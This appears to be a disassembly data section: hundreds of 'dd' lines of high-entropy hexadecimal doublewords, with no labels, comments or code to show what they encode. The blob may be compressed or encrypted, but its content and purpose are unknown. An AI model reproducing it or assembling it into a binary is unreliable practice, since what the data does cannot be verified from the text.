		dd 0FB651F00h, 29F3C550h, 8C3C2Bh, 574212D5h, 0A4011AADh
		dd 0D3FDCFF8h, 0C09FB71Dh, 2A44A20Eh, 5D3900A7h, 9DDC360Fh
		dd 49000C30h, 7315CCC0h, 1E4A8093h, 4548F3D4h, 81F1D3C4h
		dd 0F4BD9918h, 26FA60DCh, 571F000h, 1F3F7D37h, 8C900Bh
		dd 0E8B06FBBh, 0D98B6158h, 15016890h, 0D2959BF9h, 0E6E81A02h
		dd 0BB6903D1h, 0C82EBF0Ch, 0F221A011h, 44003D58h, 0E9C11920h
		dd 0DF1F4583h, 0A4FC60FBh, 0F50A6597h, 338EC13h, 538E472Ch
		dd 0B7E7D07Ch, 0E63B0363h, 8113DB92h, 11C05BF3h, 0AA04E174h
		dd 645D8CECh, 93E8D180h, 5A4E028Ah, 18AE6A33h, 21A43E0h
		dd 3BB57000h, 9D340163h, 0E55A001Dh, 56BEBB23h,	0A7075497h
		dd 6FDFBA8Ah, 81A7FD1h,	8D4039C1h, 5FDC990h, 9E663107h
		dd 0C025876Bh, 15AE43D5h, 8385D701h, 6290B304h,	0DC5DE880h
		dd 7FDBAD19h, 0E5759C90h, 0A676E100h, 8D39E7Dh,	0ED850FD1h
		dd 0B9A197FBh, 0E89C693Ah, 70077437h, 3E98DE48h, 49D0E07Dh
		dd 68EA5Dh, 905F6104h, 3275860Ch, 8344CC01h, 0BD709EA8h
		dd 7F02D60h, 50D93FF9h,	0F1E09F89h, 41AB5E26h, 153E9E00h
		dd 14D56E03h, 0F3B0C5C9h, 1DCC407Eh, 0A9F5D7C8h, 0D0EC5055h
		dd 6D095B40h, 58172Bh, 330EA5B0h, 64A3300Fh, 0A771A911h
		dd 78C5D60Bh, 0A42C2324h, 63E1E78Bh, 288E67FFh,	66A0990Dh
		dd 2E280837h, 0EEDFD500h, 0A78665AAh, 2990A082h, 8EE41D27h
		dd 48344076h, 0E2FAF9C0h, 80B2593Bh, 0A82E7C6Ah, 30D2100Ah
		dd 0F55877BCh, 500ED52h, 889E4C0Eh, 32BCE51h, 982436F0h
		dd 0C8744F40h, 6E103009h, 72E480F5h, 30922D6Ch,	0F1F82FDAh
		dd 0D7F80F8Fh, 0C07A098h, 0D6CF3A1Fh, 0E0FE39F3h, 496BBF6Ch
		dd 82008074h, 30E1266Fh, 43009FFAh, 69672CA6h, 7CD8844h
		dd 5C29DF09h, 0F17FA08Bh, 7300AA0Ch, 23489631h,	681E79h
		dd 5FEDC937h, 4CFACF98h, 0AD024CB0h, 1171B37Fh,	1BF88553h
		dd 0E8C45E81h, 73542530h, 85400B78h, 0AA80677Dh, 0ED6AAA0Fh
		dd 0BFD0E301h, 0A3826124h, 2D5C40FEh, 0EBE83C23h, 3C1311E0h
		dd 8A009EC0h, 0E7A88659h, 7CEA4819h, 0FAE91825h, 0ABB5292Ch
		dd 8C0009E2h, 0AA12AB6h, 5854FF7Fh, 720042C3h, 71901C59h
		dd 0AB00C735h, 5B3AA4B8h, 0E896858h, 91DB6295h,	96CBB220h
		dd 22F15C16h, 2EAA00E8h, 0B77B145h, 73C10B3Dh, 0B809D11h
		dd 9ACD0A63h, 0E00D4A30h, 0ED025DBh, 9EB5327h, 0DD34C300h
		dd 8305E322h, 3829E43Ah, 0E4CC7C0h, 0ED3038F6h,	93755E80h
		dd 2083F9B5h, 0DC54AD00h, 605A43EAh, 0CC650298h, 5CB54A0Dh
		dd 590CD0C0h, 88B1D300h, 0AAB7D691h, 0E1981D63h, 1C2B8085h
		dd 2E479E5Ah, 0BD0F8D00h, 0C338521Bh, 5E2F00AFh, 0FFACBF94h
		dd 0C005F34h, 131D707Fh, 1DCCEFFDh, 0C5A94E96h,	801A5857h
		dd 0B8A0F884h, 6112DF09h, 0E4E280DDh, 1D9A2238h, 8153785Eh
		dd 0E9A3324Ah, 9D442469h, 0F6426000h, 0B5799107h, 1C45E804h
		dd 804127F8h, 7AEECA1Eh, 8A006FBFh, 2C0B63BEh, 0FB10913h
		dd 5AAE77D5h, 0FB53EEE0h, 0F3004123h, 95ACC09Bh, 56345h
		dd 6A43E338h, 32C4EAF5h, 52E87A7Ch, 0BF0724B8h,	4661D9DFh
		dd 16B91580h, 0E2D814C8h, 0D10D1087h, 0D4A961E0h, 4D3035FCh
		dd 0B65908EAh, 18DEC7h,	0B54232CCh, 55E8CB77h, 0B2C9C400h
		dd 4A8B48BDh, 0EDF72CCDh, 320C3C04h, 0F588E215h, 4A18409Ah
		dd 468040B0h, 1EA800F4h, 414901E8h, 3314C41Dh, 0BEBA3Ah
		dd 4E387557h, 1C2D6226h, 409EFDE9h, 0ECCBE129h,	0D33CE364h
		dd 6D32009Bh, 81257A17h
		dd 0B5D02818h, 0F3580260h, 84E25035h, 99697080h, 7B00B88Dh
		dd 20A068DCh, 0F1519A9h, 8464F681h, 0DEF1D180h,	0CB00FEB2h
		dd 0E9F311DAh, 4BDC0Fh,	0FC245A23h, 31B2806Fh, 1FA25101h
		dd 0ED6E9FFBh, 5E3C20h,	919445B4h, 0C2520888h, 0AD31F900h
		dd 9A1AF0E3h, 73800E7h,	11F1DBBDh, 1E01B510h, 0A419016Eh
		dd 79C4F5F4h, 8588002Ch, 0E5A53FA8h, 0E407562Fh, 0FD4B0A3Ah
		dd 4D1AFF41h, 0F97BFCh,	36AD131Eh, 414CF19Fh, 0D24858h
		dd 6F6F5FEh, 3FE825F8h,	0C30023B0h, 4EF791Eh, 7E509668h
		dd 1148E590h, 0AB7B00B0h, 380D5CDEh, 9EEF006Fh,	2D3FFED7h
		dd 0C004925Bh, 0A4995A3h, 0A79D7090h, 27305FAh,	0C005893Ah
		dd 48AE1994h, 0C7B5107h, 6B00438h, 5EDB4E8h, 4482CF15h
		dd 0E6249062h, 2C98AB6Dh, 34880B01h, 46B9F454h,	0ECCCDFEDh
		dd 521316AEh, 0ACAF0280h, 0CBC26442h, 0D58BBA84h, 50300ACCh
		dd 7E8738C4h, 20A9DBFAh, 429EEABBh, 29001370h, 0C4DD8A5Bh
		dd 0B871CED2h, 67D8E799h, 0DCE100B4h, 97B78E39h, 7930599Bh
		dd 8B0398ADh, 0CBAC0022h, 7DF0B571h, 833F46FBh,	0FFCA801Bh
		dd 6027102Fh, 5DFAC079h, 74EAE0EEh, 0D4C1912Ch,	662C9300h
		dd 4935E7h, 4CD5A197h, 2621FACh, 8327443Ch, 0A976194Ah
		dd 6027FF58h, 37BBECF0h, 3A050038h, 7336F76Bh, 0AD06770Bh
		dd 0F21FC212h, 0C61700F0h, 0FF82D0D4h, 0F0B6031h, 0C043CCh
		dd 0A8A07978h, 3F190071h, 0B18E1421h, 543A0CDFh, 0A3FB8E93h
		dd 0AB31238Bh, 8E45BFECh, 0AAB0C080h, 52D7246Bh, 914293C8h
		dd 508DE814h, 8070C4D4h, 0A2337900h, 0D31FA5C0h, 0AE761E39h
		dd 1CBFC35h, 9CEC6588h,	0C142877h, 41CEA8EEh, 6D59074Eh
		dd 0C0361AF3h, 52A3D757h, 6ECA6200h, 0B7047FCh,	27730C12h
		dd 0B6E82F33h, 0F2352300h, 7038030Ch, 7868C6BFh, 74EE2185h
		dd 922E437Ch, 1900EAD1h, 76C49D63h, 85E494ABh, 90480585h
		dd 1BDD664Ch, 7E9EB900h, 20F15AB8h, 0ECEE0065h,	9DF21CD4h
		dd 85D66ACh, 0A6BB005Ch, 2521C66Eh, 0B204C109h,	40882EEAh
		dd 30829AB4h, 0E0E1E200h, 74FFA87Ch, 7A380004h,	0A3DA5914h
		dd 282803E4h, 0A80BB02Ah, 26A63A2h, 43D2815Fh, 0BC55E058h
		dd 72A00FDh, 9C03BF0Ch,	0B058E35h, 1A7CBA42h, 0E02274D2h
		dd 0FC4C5Ah, 5D30FDA8h,	8E87444Dh, 0CA5E1E13h, 0C4916C41h
		dd 3931F2AAh, 178ADC8h,	0BA759CB0h, 0F01CF3EAh,	3600FB17h
		dd 9FBD3372h, 3FC4AAECh, 0B80B26Dh, 3D704C01h, 942880h
		dd 8218003Ah, 0EB5C58BAh, 0FCD5009Dh, 96F8314Ah, 4E610CA5h
		dd 0B25F1A80h, 1FEC43D5h, 8F5D0967h, 9280409Eh,	7B309DFDh
		dd 0C510924h, 0BE57A400h, 2AB73307h, 8438FEh, 0EE29268Ch
		dd 5E491628h, 88B89016h, 0D0829800h, 49508A48h,	0AC00F4CEh
		dd 3F9CD84h, 993B6D2Ch,	3A0A8060h, 4C4DFCC0h, 0CECB861h
		dd 30415E6Ah, 840035A0h, 93DF4034h, 3038BDA8h, 0BF91480Fh
		dd 0A9386C0Bh, 0BC4903B4h, 0FBA6CF07h, 0FA90E812h, 0E66F00EEh
		dd 0A7A2A51Fh, 0A10E76B1h, 0C181DE85h, 880714E4h, 0F849CC8h
		dd 31096136h, 6830FB40h, 0D6029575h, 207CB9DAh,	0E9E0C849h
		dd 46C2007Bh, 84907A35h, 8500896Bh, 222658D4h, 2448F864h
		dd 18AD36h, 21F5343Ah, 0F2E04104h, 8B5F1F00h, 501B565Ch
		dd 0AF6E00C3h, 0D9A62CDBh, 200C2E3h, 22B3BDC4h,	0ECC779h
		dd 8F250555h, 312C6735h, 0D6E90400h, 361288C2h,	0FA076915h
		dd 0DFC63200h, 30EA756Fh, 11E6C230h, 33E5336h, 5A1DDC35h
		dd 0FE986CC5h, 0B700FF7Fh, 0E14A54B9h, 12EDEFBh, 41FD9E92h
		dd 0EC5B11ECh, 0A2056065h, 1323F3C1h, 30E388C0h, 0BD102636h
		dd 0EA3C8B10h, 0FA7FF0A0h, 125602Dh, 0A294811Eh, 0B4E05D9Ch
		dd 4CC80FCBh, 65E31D0Dh, 90F07341h, 320003D1h, 0D3A07214h
		dd 7CF0E770h, 0BA7D009Eh, 43A41CFBh, 0AAF415E5h, 0D4028C92h
		dd 1056592Eh, 0A3446BB6h, 8DD9B8D1h, 2C0A4826h,	0A7617002h
		dd 34487269h, 9A072D99h, 94091D7h, 2E07E631h, 0E45730h
		dd 0F22B5073h, 0B1ED5990h, 4388824h, 8004E3Ah, 0CC791981h
		dd 0F1456056h, 531BF5FDh, 52788700h, 9E622E94h,	3BD8C0D2h
		dd 83E2044Dh, 5DF17B03h, 0C8B68F4Ah, 0AF1355h, 0BD7411B0h
		dd 0D3DC8D6h, 6400DF75h, 0C28C1B4Ch, 1C61EDh, 0E9EE7D52h
		dd 43EB16Ah, 360AFA1Dh,	0A6D198C0h, 1C6CD096h, 80E09917h
		dd 0D285E3E5h, 65189459h, 0EC114D11h, 97D8000Dh, 0F33038DBh
		dd 84F572D3h, 0A8707EE2h, 0B0490490h, 0CAA30020h, 850534CFh
		dd 950F4FD5h, 0F32C2Bh,	8019A0C2h, 0D3E3A9Bh, 25487000h
		dd 0C5D88B54h, 0FC4F9000h, 0D512A96Dh, 0A1400A3h, 0D7D2695Fh
		dd 614CCBF3h, 0EDE00A8h, 1452DCE4h, 0D8A750B2h,	4868986Fh
		dd 331C103Ch, 527B8029h, 93D14591h, 0CDDB9A00h,	77E44A08h
		dd 0FA8E00A9h, 5405BF50h, 0E9009873h, 12186EF9h, 90FCCF0Eh
		dd 7BC60F0Dh, 3F200357h, 4D58FB37h, 0A7CDAD00h,	9F30F2AFh
		dd 2BA17EDh, 80F41E2Fh,	2EF9C049h, 5C0060B7h, 0A44A480Ch
		dd 10E411h, 3C79D916h, 431E186Ch, 320EE801h, 35297DC0h
		dd 25B72980h, 8BFCF437h, 20128701h, 71864108h, 4605D340h
		dd 5BB300FDh, 0BC4B10C3h, 644974FEh, 3F315860h,	7003DB4Fh
		dd 93BB885Ah, 0C5FB0FBh, 5C6009Fh, 0AA734559h, 1C50EABDh
		dd 0C40190B4h, 622F5CEFh, 9064B291h, 0CE770112h, 3E727548h
		dd 405024C3h, 0C4406D4Ah, 1AE38978h, 7461747Ah,	4047142Ch
		dd 7214109Ch, 46011C4Fh, 48B91562h, 0D0B3D15Ah,	23547270h
		dd 4486682Ch, 20E89991h, 1F055900h, 40BB5A58h, 6DB40C88h
		dd 0AA405FFEh, 0FFA16800h, 8125D016h, 0A0610F39h, 0E4001A69h
		dd 0FDABCFDFh, 8F42BB25h, 74324668h, 505200B0h,	5ABA16B4h
		dd 2C1831C2h, 0E819D922h, 72490007h, 53E9C7D0h,	2DE4ECD7h
		dd 0C8128109h, 44C209D4h, 5AB44088h, 8BC4A81h, 727F4885h
		dd 42700024h, 0DCE0F59Fh, 4A4D3209h, 586D8045h,	0E22788Ah
		dd 0E11A7E1Dh, 0F095C263h, 72336EF8h, 0A7FBCB17h, 9D6FC700h
		dd 81DC74h, 26709BD7h, 8BD08619h, 0A34B9C00h, 0B72CAD6Fh
		dd 10870F71h, 0AB808C67h, 12863ACBh, 74DFD200h,	4A2B3D6h
		dd 0A1B900F0h, 5BD9C07Eh, 0CC1FA65Fh, 91C55D4Fh, 0C0FEF856h
		dd 0CDF73065h, 6E381709h, 0E7DC00A1h, 0A914CEh,	2AF6A683h
		dd 4509EEB0h, 0E2A1CD00h, 40D14382h, 0DD7A001Fh, 0C35DD944h
		dd 950F627Bh, 0B7FA5091h, 0A2D4C700h, 0CD4C74h,	55AFBB72h
		dd 6910655Bh, 100F449h,	1982BA11h, 0C841A97Ah, 898A172h
		dd 0B2322105h, 0B0448200h, 6B49EDD7h, 0E954006Ah, 0C9C44A04h
		dd 0E502CE7Eh, 3F68F669h, 83D4AF50h, 6D6BE8Eh, 55442018h
		dd 163130F9h, 7B4B204Eh, 0C32EA422h, 0FEB80036h, 7EDA63FDh
		dd 0F26519C0h, 3682AE4h, 2EF055A8h, 20003E14h, 0C6D8D025h
		dd 0F4867B62h, 4D68C6CAh, 2B0039CEh, 9783CD7Ah,	1430A8Dh
		dd 7276E507h, 0C492E0E2h, 1B65C574h, 88011890h,	7B86E5BEh
		dd 257C6881h, 0CCAD82AAh, 1800D03Eh, 2A354C87h,	14C17BF1h
		dd 0AD6C43FBh, 497F4B03h, 97D04412h, 8DFE613Ch,	0CE179600h
		dd 4AEB231Eh, 1030FE0h,	6AA03AACh, 75D20EC5h, 141DAF00h
		dd 3E1915ECh, 442A17DCh, 51620073h, 718EC627h, 7FA2AD00h
		dd 3BC82916h, 0D99D0014h, 0D7FF8702h, 4C790A6Ah, 788CE200h
		dd 0ADEFE4F4h, 0B4A60020h
		dd 0BC089F18h, 0C000CEC5h, 53EBDCA8h, 912F98h, 3C1AAECh
		dd 2A523D7Dh, 0E1CD1000h, 75669CA3h, 96083F29h,	239A1E80h
		dd 312F2D94h, 4F2B5Ch, 5246C3CBh, 0C7C6F2h, 0AF157736h
		dd 8F29D23Eh, 0D6F45Ch,	249D6DB0h, 5C0BA4h, 8744FC61h
		dd 22E09F03h, 7800B97Bh, 0D4F8C332h, 0F5F686h, 79BE80D2h
		dd 7E6CF348h, 0A92E900h, 85ED8C03h, 9168303Bh, 0A5C50DD6h
		dd 917A80Fh, 6C1C0025h,	7EFE8E5h, 811E53B4h, 0D84D3080h
		dd 6A188803h, 59587731h, 66550B60h, 0C90009D5h,	8D7CF2C3h
		dd 3FB26200h, 0C1BCF981h, 639B00DDh, 77EB5B67h,	4190BF4h
		dd 33A0B4B6h, 9C80E7CDh, 8B48F78Dh, 0DF036020h,	3AD12A1Bh
		dd 612917E0h, 8CFD0025h, 0C685E243h, 804AAB0Eh,	8AA92016h
		dd 50631268h, 31EC8BBh,	4C31307Dh, 7C983993h, 0FF0C0433h
		dd 0E8C28437h, 6F0A01BCh, 0ACF803A2h, 0DCBD307Ah, 0DEBBBA04h
		dd 32C0389Eh, 366D541h,	5F3472E5h, 5098303Ah, 143C04A3h
		dd 310C05C6h, 0B900F119h, 80F8F6BCh, 0BD651F81h, 0CF024059h
		dd 25794042h, 860AD800h, 98814F5h, 13D70089h, 8DB91C58h
		dd 0D500B654h, 33CD3BBEh, 9E772Dh, 903EC536h, 0E76A13E3h
		dd 0E559EA00h, 55A257B5h, 19700058h, 0ABD05220h, 49185F7h
		dd 982FE180h, 1D4E2229h, 7F9B117h, 0E06639B4h, 0B281591Eh
		dd 0FCF3DE0Eh, 0A8F0F9C9h, 68FAFD4h, 0CF4D5753h, 14008016h
		dd 0C378FCD4h, 4198B0Fh, 371BE2EFh, 0CE1EC7ECh,	5ED6CCC0h
		dd 0DD60D14Ch, 0E0945724h, 1F9B0760h, 89269785h, 0FE6C6E00h
		dd 1A50ED86h, 767F77BCh, 8241FF01h, 22E89208h, 1701ECh
		dd 0F9E06EC2h, 3C0C1DF0h, 73C8AB50h, 6561EA0Fh,	2C005271h
		dd 0C88C397Bh, 1A5F0019h, 990EA45Dh, 9C6E0AB3h,	18028060h
		dd 0F1CD268h, 0AEB2789Ah, 0C0371224h, 0C6848F5Bh, 0F95AF217h
		dd 1587E503h, 0A4CB5Fh,	9C80D018h, 0A82A9B25h, 62FBFC07h
		dd 9810F3D5h, 24777DABh, 8094F9BFh, 51B7A9FFh, 4300EE4Fh
		dd 3BD87833h, 1F457DBFh, 275549h, 7A8479EBh, 0E0087FFh
		dd 0B6BE1DE7h, 0C088E57Fh, 0A1D97170h, 0FF7E6965h, 0C7C2F707h
		dd 0C962F176h, 0BA6440BCh, 62EA03B6h, 4F346E68h, 0C8877D99h
		dd 417E110Fh, 0E0285A00h, 14CDC157h, 6E1800FCh,	7240E937h
		dd 6004709h, 4BC2CC3Ch,	3E58B55h, 0B770B125h, 0C0E5EC2Ch
		dd 0DAE0CD0Ah, 9750ED00h, 9EC69113h, 730C0092h,	33C4437h
		dd 0EE004CE9h, 26CB3479h, 2D5B4EDh, 5D659BA3h, 0DBC0DB70h
		dd 50E586Bh, 8FCEDA0Fh,	0B4F1407Dh, 728785h, 14A127A2h
		dd 0AF40C8C0h, 74077E04h, 0EF80770Fh, 489312DFh, 2307C624h
		dd 10C410A5h, 6859B144h, 8E002E98h, 4F2BD0Bh, 0FE8D78h
		dd 0CC31C480h, 1EAD0E33h, 557987EBh, 0BD802211h, 0E0626Eh
		dd 0B99B05B0h, 0F99121D6h, 76BB3806h, 0F2F851h,	4B440ECEh
		dd 0E6EDE4BCh, 826D6105h, 0BC40B639h, 5BF39006h, 0D98600BFh
		dd 5CCEDB5h, 0EB00404Fh, 7AF26664h, 17116F3h, 1239941Ah
		dd 0F091E488h, 511DA62Eh, 23807A3Bh, 0A7A820F5h, 954901D6h
		dd 0A23CF8BEh, 3F3EC0D8h, 2F00C092h, 0DF56D393h, 90C37C69h
		dd 0D6BD5C30h, 7942FC00h, 0F1B86305h, 4192E200h, 0B17504EBh
		dd 4749240Fh, 0EF6F04D4h, 0E054876Dh, 841A9C57h, 0BBBEFB00h
		dd 1D8FD39Bh, 92FF00E2h, 54141E0Bh, 40904DC7h, 9B81CF00h
		dd 0EB3BA655h, 39A0091h, 97BAFF48h, 940096C4h, 0F3F209D8h
		dd 26476DD2h, 8EB0AE93h, 51408402h, 0D960DAD5h,	91ED9A14h
		dd 0A0318498h, 0F897BD00h, 0A6F034DDh, 0D0447E00h, 40D40EB6h
		dd 0A18F0346h, 0EFC8D1C0h, 412338D0h, 0CC053700h, 17215A62h
		dd 106D009Ch, 0C39452DFh, 64008E15h, 8B7569A5h,	70F6F898h
		dd 0E8B81D47h, 0D1A2C017h, 0EB37D2EAh, 7A038C7Dh, 46C80DFBh
		dd 52D5C0BBh, 0C7180FE3h, 63007DF1h, 3E532DB5h,	0FF8C800h
		dd 870E8B38h, 1297005Ch, 74B31B25h, 56000209h, 1FD7C548h
		dd 0F97553h, 0F606ACB0h, 0AB312130h, 0B5EAB278h, 42BBC800h
		dd 666AA4D6h, 991000E2h, 0DD47E867h, 0B307312Dh, 34943E9Bh
		dd 51A75467h, 377241C7h, 0C29940E1h, 0B03B24FDh, 0DA4F807Ch
		dd 6D305371h, 0C0C30103h, 0E81A81FAh, 0FF5FDBh,	0F7E13456h
		dd 1DA11C11h, 2EB42500h, 7EB5CEDFh, 211700A0h, 0B1FC873Dh
		dd 8C07B7CDh, 0D0725F8Fh, 3F4E7DD1h, 384B09E8h,	12F8CA16h
		dd 40DF4D19h, 0EE5DBE48h, 0C0C95FEAh, 891C0093h, 5AA7B2h
		dd 7849512Dh, 17F284D3h, 970023EAh, 3F411D2Ah, 0EEBDCAh
		dd 860ECDDh, 29028980h,	0D4C447Bh, 0BF350FE8h, 0F56206D4h
		dd 89CF4011h, 10A8CC28h, 0AE40320Fh, 0B27AE08Ah, 2610AD06h
		dd 7D8E93Ch, 809D8898h,	3DBA19C1h, 0FEC48100h, 0CE33C30Fh
		dd 0D4EF0B37h, 0CCA7F65Dh, 0E034D0BAh, 0F4003ED6h, 61116CE1h
		dd 0C89706h, 0DF860D8Fh, 0FB333AB4h, 8A5DB300h,	0B147D2C3h
		dd 10200018h, 0A02C13D6h, 0E470BAB6h, 0F73C640Ah, 0C58094E1h
		dd 0DB23D7B7h, 49E67Eh,	968D031Eh, 0D9924829h, 3542B800h
		dd 0BEB9CC8Ch, 1ADC1DF7h, 8B910350h, 0C0F72EE1h, 0C67DBCA2h
		dd 0B1EA31E6h, 0CF41200h, 968445D9h, 1E350071h,	0DD107D68h
		dd 50248A13h, 4900483Fh, 89A03886h, 63C4391Fh, 74B81200h
		dd 0B08F9196h, 0B7D57C07h, 38C0F085h, 1F36F8C3h, 4057DFD6h
		dd 80907284h, 0A301C1F1h, 3394EC98h, 3F80E32h, 74190112h
		dd 72917801h, 0D6B8D8CAh, 61C4CD00h, 5C90FB6Ah,	6607007Bh
		dd 3F48A6ECh, 0AB0F99E1h, 35D1B7h, 0C0150287h, 41E5007Ah
		dd 0B9C5C6DCh, 6274E813h, 0E112C375h, 1198Eh, 99778CDh
		dd 62E93081h, 4813D1C1h, 9474DCB0h, 0BFC47A18h,	15DA11h
		dd 0F3537ECh, 0FF3DE0D7h, 21B008DFh, 0FEC0D7Ch,	7D2CA4F8h
		dd 0BF4C39CFh, 34081680h, 3C00171h, 0E06F7003h,	0DC927803h
		dd 0A4ADA369h, 0FF39C800h, 48063219h, 202BBFD6h, 21C36008h
		dd 2CFF3177h, 0FB099F07h, 29C1F596h, 6880B580h,	68D16121h
		dd 31C0B7A4h, 0CE986CD7h, 0F2467865h, 0A0713047h, 0A7FA6720h
		dd 0A637242Ch, 0BE32B200h, 0CE4D27h, 5C2A993Ah,	81FCC476h
		dd 482FF200h, 0B3225A1Dh, 67C71F88h, 81EC0A0h, 53DF91E5h
		dd 0D504F000h, 0B8B0AF5Bh, 0B620489h, 80425ADEh, 0F917D292h
		dd 8F2C4E00h, 6E1EBE4Bh, 0B8A21C93h, 9C4180A7h,	3C54A388h
		dd 1A69F39h, 0C4A08A63h, 9560F577h, 0AB0005Ch, 42029671h
		dd 697DF8B4h, 91938D00h, 1844E195h, 2F08000Ch, 0A920D64Ch
		dd 0A8000B21h, 8A7CA7F5h, 1664FA5h, 0FC8F828Dh,	0D6F01417h
		dd 1FAEE860h, 10344B1Dh, 45C8C740h, 247F2924h, 7A93ABh
		dd 0A83E285Bh, 0B505BB83h, 854CEA3Bh, 27D3DB80h, 35570724h
		dd 0A1D73C39h, 0FC65FA01h, 68009F6Ah, 0EA30F219h, 277974h
		dd 0BB5E3C4Ah, 6FE46E81h, 677EBA00h, 0D5215C0Fh, 0A8C500D2h
		dd 72C74F6Ah, 8C90A1F8h, 0CA9FE000h, 7CB43EAEh,	79E00C8h
		dd 9A9B5F0Ah, 0EA07F23Ah, 490967A8h, 0D41E6120h, 0E4AB004Ch
		dd 0F6C8FC0Fh, 7CF21118h, 30372807h, 66F7E1F5h,	78394BF0h
		dd 0AECE003Bh, 36E80E87h, 0AF1F6E91h, 0B54094D1h, 930631E2h
		dd 0A7871F1Ch, 2B3580B4h, 0C84D9B18h, 24123Eh, 169FAE38h
		dd 0E8F804h, 430E1348h,	5AD05C72h, 0C9F2FD00h, 89221B50h
		dd 901C52A5h, 0BF42B100h, 3B563884h, 0B6572100h, 3FFC47D8h
		dd 0D0940024h, 6E35E9A4h
		dd 0E6026723h, 518F9ACh, 0EACEE03Bh, 0A0A4A33Dh, 0BCC50Ch
		dd 7C0870EDh, 0B312627Ah, 9704F60h, 0F56B701h, 520B5593h
		dd 178B51AFh, 8E900488h, 9FC08767h, 3F422A7Bh, 61F89203h
		dd 0D8EB280Bh, 77900Dh,	2B1A3412h, 355E0410h, 85986200h
		dd 23D3D5A9h, 929024h, 0D0EEA681h, 0B3F04D22h, 0D8F40455h
		dd 0F400B202h, 0D4BA23EDh, 0FD5CA79Ch, 0ECBC6180h, 41E16B61h
		dd 0E6F13Eh, 6ABEFF25h,	4627DC5h, 648D008h, 2AE5C24Ah
		dd 4659C080h, 0FE1C8004h, 0A0031514h, 0D9A7BB72h, 95D45F2Ah
		dd 0A9E3F45h, 404E421Ch, 0E1AE1A02h, 0DC01BD23h, 0E544E014h
		dd 0C84093B2h, 1EB07F4Fh, 35E2046h, 0BCFBEE76h,	0D8F7D7h
		dd 627EB702h, 0F89CA407h, 0D99DADFAh, 38BAF3F4h, 9D1C3BDCh
		dd 0E055151Ch, 6C8A0D00h, 0C8C4E7F8h, 0E300877Ah, 907829EEh
		dd 0DC98Dh, 0E2CFD0C3h,	20F745Ch, 2288D961h, 7BF868EFh
		dd 660C0B60h, 2100441Fh, 1851B9C0h, 2F643Ah, 138F0159h
		dd 0D8C763h, 0BDF58E96h, 0CFAFA8A6h, 205F111Dh,	7D04D1C0h
		dd 709792h, 0F52B4BC9h,	2955164Ch, 9AABBCA0h, 6E373Ch
		dd 0F29C6713h, 1D9B199h, 6B75C7CAh, 41F9852Eh, 10237494h
		dd 3AF1B0C1h, 7F80D4A3h, 7356A4CEh, 0C6EE5F8Eh,	0A60069F8h
		dd 0B17490C9h, 3C9238E1h, 68869AF1h, 78177B11h,	22217D00h
		dd 0C70A935Bh, 41E400A1h, 1481EAF5h, 7400ECFEh,	0D7B9BB75h
		dd 0E8F038h, 906BD91Bh,	2EF49DF6h, 507CE600h, 53B28809h
		dd 0DEC80F95h, 0F0FCA9Ah, 8FA36041h, 6CEA20B7h,	91EDF500h
		dd 0E96E5CDAh, 7D3C1FD2h, 0D4B4809Fh, 0DD5AFA2h, 3D59DC58h
		dd 2E46CC88h, 83009584h, 0B0C89F6Ch, 0E5FA0EA9h, 3E2EC509h
		dd 0D8B4B680h, 4A002CA1h, 1A9843FBh, 877164h, 1456DB84h
		dd 4B95034Eh, 7BE648h, 0DDF50FEAh, 0F4223F5Dh, 0FC4AE21Ah
		dd 0D510057h, 28F97303h, 9A010E09h, 0FD3AAD6h, 0A5F08C39h
		dd 0BEB6007Eh, 75E21CE0h, 8407BCA3h, 0C3CDC54Bh, 48D6404Eh
		dd 0A80BB7CAh, 9177D0h,	5434C9Ch, 3C7F51FDh, 0FA1C0674h
		dd 0A10031D5h, 33309554h, 8E683D09h, 763B3581h,	8046856Eh
		dd 6A3A8DE0h, 69E3CCh, 33B938B8h, 89551BF8h, 0F63D7703h
		dd 169B57A9h, 9E9121h, 51BF8B3Bh, 0FBFC222Ah, 0DD473C04h
		dd 2CC3FE5Eh, 8B581FD2h, 4EE80138h, 0ECB5D832h,	0F330A7BFh
		dd 6FBE2135h, 0EAE21E69h, 67648E91h, 60A0E489h,	0EF3A1A83h
		dd 0E3A1A900h, 6E09522Ch, 92F77B0Bh, 0BB158C4h,	11FC6A18h
		dd 8E3A8968h, 27F4446h,	9BC0CB55h, 0B0FE28BCh, 1554C500h
		dd 13B0E241h, 98EDEBh, 6657762Ch, 7892F5AEh, 0BCA44500h
		dd 14185925h, 9E681E58h, 1162CCDBh, 51007030h, 8D4711Bh
		dd 18EEABDh, 17742ABCh,	0C4A03809h, 0CC00C326h,	51EE4BE9h
		dd 83DD3Eh, 0A9C93C56h,	0E626C770h, 22356F03h, 0DE48721Ch
		dd 9DA70011h, 4A54C6F6h, 3A00F111h, 167DC45Dh, 78AF899h
		dd 0B585A562h, 2F9E0AAh, 27076013h, 253A3C7Bh, 7D79A3h
		dd 3DDABF48h, 20809502h, 587B8603h, 0D1F7126Bh,	47DC6C5Ch
		dd 0E798Bh, 4178C07Dh, 0ED1C0CCAh, 37893E00h, 74C64D50h
		dd 0FD350033h, 10C84F4Bh, 75007622h, 48577034h,	0B1641Fh
		dd 68741EBBh, 4C133547h, 3C80DE2Ch, 387E1100h, 780C52h
		dd 0ACB9C734h, 2BFD44D5h, 177255FEh, 3E5F2626h,	97622903h
		dd 793AF8CAh, 4E03C89h,	0C8695700h, 0AB5E2BC5h,	0E990CD00h
		dd 2A0C0532h, 1A620020h, 0F5AAEC39h, 0DE007A44h, 6E3C8F2Bh
		dd 311ED40h, 617DB320h,	3BC0219Fh, 231D844Ch, 0F5803C57h
		dd 85AB29E9h, 1A320079h, 0D9A231E0h, 35008F68h,	0E1BC5D91h
		dd 0C0DD3C87h, 0A6BFDF19h, 603992B5h, 77860037h, 0C72E9F50h
		dd 9C7400FEh, 0EC038289h, 0AC26041Ah, 4381EC88h, 0BE45E46h
		dd 8B5BC0h, 2C7DA164h, 0D0114540h, 37EBA200h, 0C8909F76h
		dd 36F0011Bh, 0D5A8C020h, 0E3698741h, 5E7ED02h,	439108B0h
		dd 1B27B0ABh, 689BDD27h, 0F1C065C3h, 26392BACh,	9644980h
		dd 20A923A3h, 46322CA8h, 82E67D5h, 12C1DFA1h, 0F05A308Ah
		dd 435D6906h, 0ECE0354h, 14622E8Dh, 2863A918h, 9FDA7C1Dh
		dd 0DE8D0052h, 0E7045158h, 0F7784700h, 644F54AAh, 2A110CD6h
		dd 0D96830D7h, 27AE2E0Ah, 883888Dh, 3CA94365h, 7D3AEBC0h
		dd 4DA6E80Fh, 9A46A440h, 79008A9Eh, 5C89AEF2h, 0EA5D47h
